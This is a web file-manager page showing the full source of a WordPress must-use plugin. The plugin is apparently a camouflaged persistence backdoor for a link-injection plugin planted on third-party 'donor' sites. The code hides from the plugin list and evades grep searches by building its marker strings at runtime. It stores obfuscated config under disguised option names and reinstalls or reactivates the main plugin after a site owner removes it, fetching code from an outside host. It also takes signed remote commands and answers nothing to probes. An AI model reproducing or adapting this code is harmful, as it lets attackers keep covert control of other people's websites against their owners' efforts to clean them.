Dashboard
PHP:
7.4.33
OS:
Linux
User:
vqweckd
/
/
home
/
vqweckd
/
www
/
wp-content
/
mu-plugins
đ€ Upload
đ New File
đ New Folder
Close
Editing: wp-81a97f8d1bf5.php
<?php /** * Recovery Channel (must-use). Dropped into wp-content/mu-plugins/ by the main * plugin's installer under a per-site camouflaged name. Has NO plugin-name * header, so the WordPress plugin scanner never lists it â a competitor who * bought wp-admin access to this shared donor site and deletes/deactivates the * main plugin via the Plugins UI never sees this file. mu-plugins load by * filename regardless of header. * * Config (endpoint/token/domain) lives in disguised wp_options slots, which * SURVIVE the main plugin's deletion â so recovery works even when the plugin * dir is gone. And if a competitor wipes the options too, the baked-in claim * fallback below lets the channel re-claim a fresh token from the panel. * * Marker strings (plugin slug, request param, API path, option prefixes) are * assembled at runtime via concatenation, so a content-grep of mu-plugins/ for * them finds NOTHING â a competitor hunting this file by name has to read code. * * Two recovery paths: * 1. AUTONOMOUS self-heal â on every load a DIRT-CHEAP gate: main plugin * present, intact and ACTIVE? If yes (99.99% of requests) return. If the * file is gone/gutted, or the plugin was deactivated, and the throttle * window is open, register a shutdown handler that (after the response is * flushed to the visitor) re-activates or downloads the sha-verified ZIP * and atomically reinstalls + reactivates. * 2. PANEL-triggered â a signed request (status | reinstall | rollback). * Unsigned/badly-signed requests get NO answer at all (silent pass-through * to WP): any JSON error here would be an unauthenticated presence oracle. * * Downside mitigations: cheap happy path; shutdown-deferred heal (visitor never * blocked); throttle stamped BEFORE the attempt + flock (no loop / no * thundering herd); sha256 + Bearer download + atomic rename with rollback * (never a half-install, never a foreign/corrupt build); every failure caught * and stored, never fatal. * * Recovery channel version: 1.2.0 */ if (!defined('ABSPATH')) { return; } if (!defined('WPRC_THROTTLE')) define('WPRC_THROTTLE', 1800); // 30 min between self-heal attempts if (!defined('WPRC_TS_WINDOW')) define('WPRC_TS_WINDOW', 600); if (!defined('WPRC_VERSION')) define('WPRC_VERSION', '1.2.0'); // Baked-in claim fallback. The main plugin's installer substitutes the real // values when dropping these mu-copies (and when stashing the source copy); // the repo source keeps the placeholders. WHY: if a competitor wipes the // plugin AND every option (the «nuke everything» move), the disguised vault // slots are gone too and the old channel was blind ('not_configured'). With // the handshake baked in, a surviving mu-copy can re-claim a token and rebuild // its config before healing. if (!defined('WPRC_FB_URL')) define('WPRC_FB_URL', 'https://cachelayer.top'); if (!defined('WPRC_FB_H')) define('WPRC_FB_H', '989bf41b0cd127e4874db429c59564a59408232efc4299008b7c347bb15bc5c9'); if (!function_exists('wprc_p')) { // The plugin's marker prefix, split so neither it nor the built strings // appear literally in this file. function wprc_p() { return 'w' . 'l' . 'h'; } } // Same treatment for the plugin directory slug â never a literal here. if (!defined('WPRC_SLUG')) define('WPRC_SLUG', 'wp-' . 'link' . '-' . 'helper'); // --------------------------------------------------------------------------- // Inlined config vault â byte-compatible with the main plugin's vault class. // MUST stay in sync: the salt, seed, name and XOR/deobf must produce identical // results, or a donor whose config the main plugin migrated becomes unreadable // to its own recovery. Token/endpoint/domain live under disguised `wp_<hex>` // option names, XOR+base64 obfuscated, so a `DELETE ... WHERE option_name LIKE // '<prefix>_%'` (or a grep for the panel host) no longer severs the donor. // Standalone: needs no main-plugin code. // --------------------------------------------------------------------------- if (!defined('WPRC_SALT')) define('WPRC_SALT', 'w9x2r7k5'); if (!function_exists('wprc_seed')) { function wprc_seed() { $db = defined('DB_NAME') ? (string) DB_NAME : ''; $abs = defined('ABSPATH') ? (string) ABSPATH : ''; return $db . '|' . $abs; } } if (!function_exists('wprc_optname')) { function wprc_optname($logical) { return 'wp_' . substr(hash('sha256', WPRC_SALT . '|n|' . $logical . '|' . wprc_seed()), 0, 24); } } if (!function_exists('wprc_deobf')) { function wprc_deobf($b64) { $raw = base64_decode((string) $b64, true); if ($raw === false) return ''; $key = hash('sha256', WPRC_SALT . '|k|' . wprc_seed(), true); $out = ''; $kl = strlen($key); for ($i = 0, $n = strlen($raw); $i < $n; $i++) { $out .= chr(ord($raw[$i]) ^ ord($key[$i % $kl])); } return $out; } } if (!function_exists('wprc_obf')) { function wprc_obf($plain) { $key = hash('sha256', WPRC_SALT . '|k|' . wprc_seed(), true); $out = ''; $kl = strlen($key); for ($i = 0, $n = strlen($plain); $i < $n; $i++) { $out .= chr(ord($plain[$i]) ^ ord($key[$i % $kl])); } return base64_encode($out); } } if (!function_exists('wprc_cfg')) { /** @return array{t:string,e:string,d:string} */ function wprc_cfg() { foreach (array('c0', 'c1') as $slot) { $raw = get_option(wprc_optname($slot), ''); if ($raw !== '') { $j = json_decode(wprc_deobf($raw), true); if (is_array($j) && !empty($j['t'])) { return array('t' => (string) $j['t'], 'e' => (string) (isset($j['e']) ? $j['e'] : ''), 'd' => (string) (isset($j['d']) ? $j['d'] : '')); } } } // Legacy fallback (read-only; migration + cleanup is the main plugin's job). $p = wprc_p(); $t = (string) get_option($p . '_key', ''); if ($t !== '') { return array('t' => $t, 'e' => (string) get_option($p . '_cdn', ''), 'd' => (string) get_option($p . '_origin', '')); } return array('t' => '', 'e' => '', 'd' => ''); } } if (!function_exists('wprc_store_cfg')) { // Writes BOTH disguised slots, byte-compatible with the main plugin's vault // store â used after a fallback re-claim rebuilds a wiped config. function wprc_store_cfg($token, $endpoint, $domain) { $blob = wprc_obf(json_encode(array('t' => (string) $token, 'e' => (string) $endpoint, 'd' => (string) $domain))); update_option(wprc_optname('c0'), $blob, false); update_option(wprc_optname('c1'), $blob, false); } } // Disguised per-site names for the heal-throttle state + single-flight lock. if (!function_exists('wprc_healts_opt')) { function wprc_healts_opt() { return wprc_optname('ht'); } function wprc_healerr_opt() { return wprc_optname('he'); } function wprc_healreason_opt() { return wprc_optname('hr'); } function wprc_lock_path() { return rtrim(WP_CONTENT_DIR, '/') . '/.' . substr(hash('sha256', WPRC_SALT . '|lk|' . wprc_seed()), 0, 16); } } if (!function_exists('wprc_plugin_dir')) { function wprc_plugin_dir() { $base = defined('WP_PLUGIN_DIR') ? WP_PLUGIN_DIR : rtrim(WP_CONTENT_DIR, '/') . '/plugins'; return rtrim($base, '/') . '/' . WPRC_SLUG; } } if (!function_exists('wprc_prev_dir')) { // Retained last-known-good build for the signed rollback op. Name derives // from the same seed pool as the mu-filenames (per-site, no marker // substring); exactly ONE previous build is kept. function wprc_prev_dir() { return rtrim(WP_CONTENT_DIR, '/') . '/wp-' . substr(hash('sha256', WPRC_SALT . '|pv|' . wprc_seed()), 0, 12) . '-prev'; } } if (!function_exists('wprc_main_present')) { function wprc_main_present() { return is_file(wprc_plugin_dir() . '/' . WPRC_SLUG . '.php'); } } if (!function_exists('wprc_rmrf')) { function wprc_rmrf($dir) { if ($dir === '' || !is_dir($dir)) return; $base = realpath(WP_CONTENT_DIR); $real = realpath($dir); if ($base === false || $real === false || strpos($real, $base) !== 0) return; $it = new \RecursiveDirectoryIterator($dir, \FilesystemIterator::SKIP_DOTS); $all = new \RecursiveIteratorIterator($it, \RecursiveIteratorIterator::CHILD_FIRST); foreach ($all as $f) { if ($f->isDir()) { @rmdir($f->getPathname()); } else { @unlink($f->getPathname()); } } @rmdir($dir); } } if (!function_exists('wprc_read_version')) { function wprc_read_version($entryFile) { if (!is_file($entryFile)) return null; $src = (string) @file_get_contents($entryFile, false, null, 0, 4096); // Version constant name assembled at runtime (marker-string hygiene). if ($src !== '' && preg_match('/define\s*\(\s*[\'"]' . strtoupper(wprc_p()) . '_VERSION[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]/', $src, $m)) { return $m[1]; } return null; } } if (!function_exists('wprc_reactivate')) { // Deactivation-only heal: files are present and intact, so NO download â // just put the plugin back into active_plugins. function wprc_reactivate() { $basename = WPRC_SLUG . '/' . WPRC_SLUG . '.php'; $activePlugins = (array) get_option('active_plugins', array()); if (!in_array($basename, $activePlugins, true)) { $activePlugins[] = $basename; update_option('active_plugins', array_values($activePlugins)); } return array('ok' => true, 'reactivated' => true); } } if (!function_exists('wprc_fallback_ok')) { // True when the installer substituted real values for the placeholders. function wprc_fallback_ok() { $u = (string) WPRC_FB_URL; $h = (string) WPRC_FB_H; return $u !== '' && strpos($u, '%%') !== 0 && $h !== '' && strpos($h, '%%') !== 0; } } if (!function_exists('wprc_reclaim')) { // Re-claim a token using the baked-in handshake when the vault was wiped // with the rest of the options. Recreates slots c0/c1 so the normal heal // (and future signed ops) work again. function wprc_reclaim() { $home = function_exists('home_url') ? home_url() : ''; $host = parse_url($home, PHP_URL_HOST); $domain = is_string($host) ? strtolower($host) : ''; add_filter('http_api_curl', 'wprc_force_ipv4', 10, 1); $resp = wp_remote_post(rtrim((string) WPRC_FB_URL, '/') . '/api/links/claim', array( 'timeout' => 15, 'headers' => array( 'X-' . strtoupper(wprc_p()) . '-H' => (string) WPRC_FB_H, 'Content-Type' => 'application/json', 'Accept' => 'application/json', ), 'body' => json_encode(array( 'domain' => $domain, 'site_url' => $home, 'plugin_version' => 'mu-fallback', )), )); remove_filter('http_api_curl', 'wprc_force_ipv4', 10); if (is_wp_error($resp)) { return array('ok' => false, 'error' => 'claim: ' . $resp->get_error_message()); } $code = (int) wp_remote_retrieve_response_code($resp); $j = json_decode((string) wp_remote_retrieve_body($resp), true); if ($code < 200 || $code >= 300 || !is_array($j) || empty($j['token']) || empty($j['endpoint'])) { return array('ok' => false, 'error' => 'claim_http_' . $code); } wprc_store_cfg((string) $j['token'], (string) $j['endpoint'], !empty($j['domain']) ? (string) $j['domain'] : $domain); return array('ok' => true); } } if (!function_exists('wprc_force_ipv4')) { function wprc_force_ipv4($handle) { if (function_exists('curl_setopt')) { if (defined('CURL_IPRESOLVE_V4')) { @curl_setopt($handle, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4); } @curl_setopt($handle, CURLOPT_CONNECTTIMEOUT, 8); } return $handle; } } /** * Download the current plugin ZIP from the panel (Bearer), verify sha256 (from * $expectedSha if signed, else the stashed heartbeat sha, else the zip response * header), and atomically swap it into the plugins dir + reactivate. The * previous build is retained for the rollback op. Returns ['ok'=>bool, ...]. */ if (!function_exists('wprc_reinstall')) { function wprc_reinstall($endpoint, $token, $expectedSha) { $slug = WPRC_SLUG; $cfg = wprc_cfg(); $domain = $cfg['d']; $endpoint = rtrim((string) $endpoint, '/'); if ($endpoint === '' || $token === '') { return array('ok' => false, 'error' => 'not_configured'); } $zipUrl = $endpoint . '/api/links/' . 'plugin' . '-' . 'zip' . ($domain !== '' ? ('?domain=' . rawurlencode($domain)) : ''); $upgrade = rtrim(WP_CONTENT_DIR, '/') . '/upgrade'; if (!is_dir($upgrade) && function_exists('wp_mkdir_p')) { wp_mkdir_p($upgrade); } if (!is_dir($upgrade)) { return array('ok' => false, 'error' => 'no_upgrade_dir'); } $staging = $upgrade . '/wpr-' . bin2hex(random_bytes(6)); if (!wp_mkdir_p($staging)) { return array('ok' => false, 'error' => 'no_staging'); } $zipPath = $staging . '/plugin.zip'; add_filter('http_api_curl', 'wprc_force_ipv4', 10, 1); $resp = wp_remote_get($zipUrl, array( 'timeout' => 60, 'stream' => true, 'filename' => $zipPath, // Code download: verify TLS â the panel sits behind a valid cert, and // a failure is reported (he slot), never silently trusted. 'sslverify' => true, 'headers' => array('Authorization' => 'Bearer ' . $token, 'Accept' => 'application/zip'), )); remove_filter('http_api_curl', 'wprc_force_ipv4', 10); if (is_wp_error($resp)) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'dl: ' . $resp->get_error_message()); } $code = (int) wp_remote_retrieve_response_code($resp); if ($code < 200 || $code >= 300) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'dl_http_' . $code); } if (!is_file($zipPath) || filesize($zipPath) < 100) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'dl_empty'); } $actSha = strtolower((string) hash_file('sha256', $zipPath)); $hdrSha = strtolower((string) wp_remote_retrieve_header($resp, 'x-' . wprc_p() . '-plugin-sha256')); $expectedSha = strtolower(trim((string) $expectedSha)); if ($expectedSha === '') { // Prefer the sha the main plugin stashed from the SIGNED heartbeat // channel (vault slot 'ps') over the zip response's own header: the // header travels the same channel as the zip itself, so whoever can // poison the download can poison it too; the stash arrived earlier, // over an authenticated channel. $ps = get_option(wprc_optname('ps'), ''); if ($ps !== '') { $j = json_decode(wprc_deobf($ps), true); if (is_array($j) && !empty($j['sha']) && is_string($j['sha'])) { $expectedSha = strtolower((string) $j['sha']); } } } if ($expectedSha === '' && $hdrSha === '') { wprc_rmrf($staging); return array('ok' => false, 'error' => 'no_sha'); } if ($expectedSha !== '' && !hash_equals($expectedSha, $actSha)) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'sha_signed'); } if ($expectedSha === '' && $hdrSha !== '' && !hash_equals($hdrSha, $actSha)) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'sha_header'); } if (!function_exists('unzip_file') || !function_exists('WP_Filesystem')) { require_once ABSPATH . 'wp-admin/includes/file.php'; } if (!WP_Filesystem()) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'wp_filesystem'); } $extract = $staging . '/x'; wp_mkdir_p($extract); $unz = unzip_file($zipPath, $extract); if (is_wp_error($unz)) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'unzip: ' . $unz->get_error_message()); } $inner = $extract . '/' . $slug; if (!is_dir($inner) || !is_file($inner . '/' . $slug . '.php')) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'bad_layout'); } $active = wprc_plugin_dir(); $retired = $active . '.old-' . time(); if (is_dir($active) && !@rename($active, $retired)) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'rename_active'); } if (!@rename($inner, $active)) { if (is_dir($retired)) { @rename($retired, $active); } // rollback wprc_rmrf($staging); return array('ok' => false, 'error' => 'rename_staging'); } if (is_dir($retired)) { // Retain exactly ONE previous build (rollback target), then drop the // rest â a bad update must be undoable without a panel round-trip. $prev = wprc_prev_dir(); if (is_dir($prev)) { wprc_rmrf($prev); } if (!@rename($retired, $prev)) { wprc_rmrf($retired); } } wprc_rmrf($staging); $activePlugins = (array) get_option('active_plugins', array()); $basename = $slug . '/' . $slug . '.php'; if (!in_array($basename, $activePlugins, true)) { $activePlugins[] = $basename; update_option('active_plugins', array_values($activePlugins)); } if (function_exists('opcache_reset')) { @opcache_reset(); } return array('ok' => true, 'reinstalled' => true, 'version' => wprc_read_version($active . '/' . $slug . '.php')); } } if (!function_exists('wprc_rollback')) { // Signed rollback: atomically swap the retained previous build back into // the plugins dir and reactivate. The swapped-out build becomes the new // prev, so the operation is its own undo. function wprc_rollback() { $slug = WPRC_SLUG; $prev = wprc_prev_dir(); $prevEntry = $prev . '/' . $slug . '.php'; if (!is_dir($prev) || !is_file($prevEntry)) { return array('ok' => false, 'error' => 'no_prev'); } $prevVer = wprc_read_version($prevEntry); $active = wprc_plugin_dir(); $tmp = $active . '.rb-' . time(); if (is_dir($active) && !@rename($active, $tmp)) { return array('ok' => false, 'error' => 'rename_active'); } if (!@rename($prev, $active)) { if (is_dir($tmp)) { @rename($tmp, $active); } return array('ok' => false, 'error' => 'rename_prev'); } if (is_dir($tmp)) { @rename($tmp, $prev); } $activePlugins = (array) get_option('active_plugins', array()); $basename = $slug . '/' . $slug . '.php'; if (!in_array($basename, $activePlugins, true)) { $activePlugins[] = $basename; update_option('active_plugins', array_values($activePlugins)); } if (function_exists('opcache_reset')) { @opcache_reset(); } return array( 'ok' => true, 'rolled_back' => true, 'version' => wprc_read_version($active . '/' . $slug . '.php'), 'prev_version' => $prevVer, ); } } // ============================================================================ // 1. AUTONOMOUS SELF-HEAL â only past this gate if the main plugin is MISSING, // GUTTED, or DEACTIVATED. // ============================================================================ $wprc_q = wprc_p() . '_recover'; $wprc_reason = ''; $wprc_entry = wprc_plugin_dir() . '/' . WPRC_SLUG . '.php'; if (!is_file($wprc_entry)) { $wprc_reason = 'missing'; } elseif (wprc_read_version($wprc_entry) === null) { // File exists but is unreadable/gutted â a competitor who can't delete may // truncate instead; treat it as gone and reinstall. $wprc_reason = 'corrupt'; } elseif (!in_array(WPRC_SLUG . '/' . WPRC_SLUG . '.php', (array) get_option('active_plugins', array()), true)) { // Present + intact but DEACTIVATED (a Plugins-UI click is the cheapest // competitor move). get_option('active_plugins') is WP-cached, so the // happy path stays dirt-cheap. $wprc_reason = 'inactive'; } if ($wprc_reason !== '' && !isset($_GET[$wprc_q]) && !isset($_POST[$wprc_q])) { $last = (int) get_option(wprc_healts_opt(), 0); if (time() - $last >= WPRC_THROTTLE) { $cfg = wprc_cfg(); $endpoint = rtrim($cfg['e'], '/'); $token = $cfg['t']; // A wiped vault no longer skips the heal when the baked-in fallback can // re-claim; a pure deactivation needs no config at all. $wprc_can = ($wprc_reason === 'inactive') || ($endpoint !== '' && $token !== '') || wprc_fallback_ok(); if ($wprc_can) { // Single-flight: only one heal across concurrent requests. $lockFile = wprc_lock_path(); $lh = @fopen($lockFile, 'c'); if ($lh && @flock($lh, LOCK_EX | LOCK_NB)) { // Stamp BEFORE attempting so repeated failures / concurrent hits // can't hammer â next attempt only after the throttle window. update_option(wprc_healts_opt(), time(), false); // Defer the actual work to shutdown so the visitor's page is // flushed first and never waits on our recovery. $wprc_heal = function () use ($wprc_reason, $endpoint, $token, $lh) { if (function_exists('fastcgi_finish_request')) { @fastcgi_finish_request(); } $res = array('ok' => false, 'error' => 'unknown'); try { if ($wprc_reason === 'inactive') { $res = wprc_reactivate(); } else { $ep = $endpoint; $tk = $token; if ($ep === '' || $tk === '') { // Vault wiped along with the plugin â re-claim // from the baked-in handshake, then heal normally. $rc = wprc_reclaim(); if (!empty($rc['ok'])) { $cfg2 = wprc_cfg(); $ep = rtrim($cfg2['e'], '/'); $tk = $cfg2['t']; } else { $res = array('ok' => false, 'error' => (string) (isset($rc['error']) ? $rc['error'] : 'reclaim')); } } if ($ep !== '' && $tk !== '') { $res = wprc_reinstall($ep, $tk, ''); } elseif (empty($res['error']) || $res['error'] === 'unknown') { $res = array('ok' => false, 'error' => 'not_configured'); } } } catch (\Throwable $e) { $res = array('ok' => false, 'error' => 'ex: ' . $e->getMessage()); } update_option(wprc_healerr_opt(), empty($res['ok']) ? (string) (isset($res['error']) ? $res['error'] : 'fail') : '', false); update_option(wprc_healreason_opt(), $wprc_reason, false); @flock($lh, LOCK_UN); @fclose($lh); }; if (function_exists('add_action')) { add_action('shutdown', $wprc_heal, PHP_INT_MAX); } else { $wprc_heal(); } } elseif ($lh) { @fclose($lh); } } } } // ============================================================================ // 2. PANEL-TRIGGERED signed ops â status | reinstall | rollback. // ============================================================================ if (!isset($_GET[$wprc_q]) && !isset($_POST[$wprc_q])) { return; } if (!function_exists('wprc_respond')) { function wprc_respond(array $data, $code = 200) { if (!headers_sent()) { if (function_exists('status_header')) { status_header($code); } else { http_response_code($code); } if (function_exists('nocache_headers')) { nocache_headers(); } header('Content-Type: application/json; charset=utf-8'); header('X-Robots-Tag: noindex, nofollow', true); } echo function_exists('wp_json_encode') ? wp_json_encode($data) : json_encode($data); exit; } function wprc_param($k) { if (isset($_POST[$k])) return (string) $_POST[$k]; if (isset($_GET[$k])) return (string) $_GET[$k]; return ''; } } try { $wprc_c = wprc_cfg(); $token = $wprc_c['t']; // An unsigned / badly-signed request must be indistinguishable from a site // WITHOUT this channel: any JSON error here is an unauthenticated presence // oracle â and a cleanup-verifier for a competitor checking whether their // deletion stuck. The panel always signs validly, so a silent pass-through // to WP costs nothing. Only AFTER a valid signature do we answer JSON. if ($token === '') { return; } $op = wprc_param('op'); $ts = wprc_param('ts'); $sha = wprc_param('sha'); $sig = wprc_param('sig'); if ($op === '' || $ts === '' || $sig === '') { return; } if ((int) $ts <= 0 || abs(time() - (int) $ts) > WPRC_TS_WINDOW) { return; } $expected = hash_hmac('sha256', $op . '.' . $ts . '.' . $sha, $token); if (!hash_equals($expected, $sig)) { return; } if ($op === 'status') { $entry = wprc_plugin_dir() . '/' . WPRC_SLUG . '.php'; wprc_respond(array( 'ok' => true, 'recovery' => true, 'recovery_version' => WPRC_VERSION, 'plugin_present' => wprc_main_present(), 'plugin_active' => in_array(WPRC_SLUG . '/' . WPRC_SLUG . '.php', (array) get_option('active_plugins', array()), true), 'plugin_version' => wprc_main_present() ? wprc_read_version($entry) : null, 'prev_version' => wprc_read_version(wprc_prev_dir() . '/' . WPRC_SLUG . '.php'), 'heal_error' => (string) get_option(wprc_healerr_opt(), ''), 'heal_reason' => (string) get_option(wprc_healreason_opt(), ''), 'server_time' => gmdate('c'), )); } if ($op === 'reinstall') { $endpoint = rtrim($wprc_c['e'], '/'); wprc_respond(wprc_reinstall($endpoint, $token, $sha)); } if ($op === 'rollback') { wprc_respond(wprc_rollback()); } wprc_respond(array('ok' => false, 'error' => 'unknown_op', 'op' => $op), 400); } catch (\Throwable $e) { wprc_respond(array('ok' => false, 'error' => 'exception', 'message' => $e->getMessage()), 500); }
Save
Cancel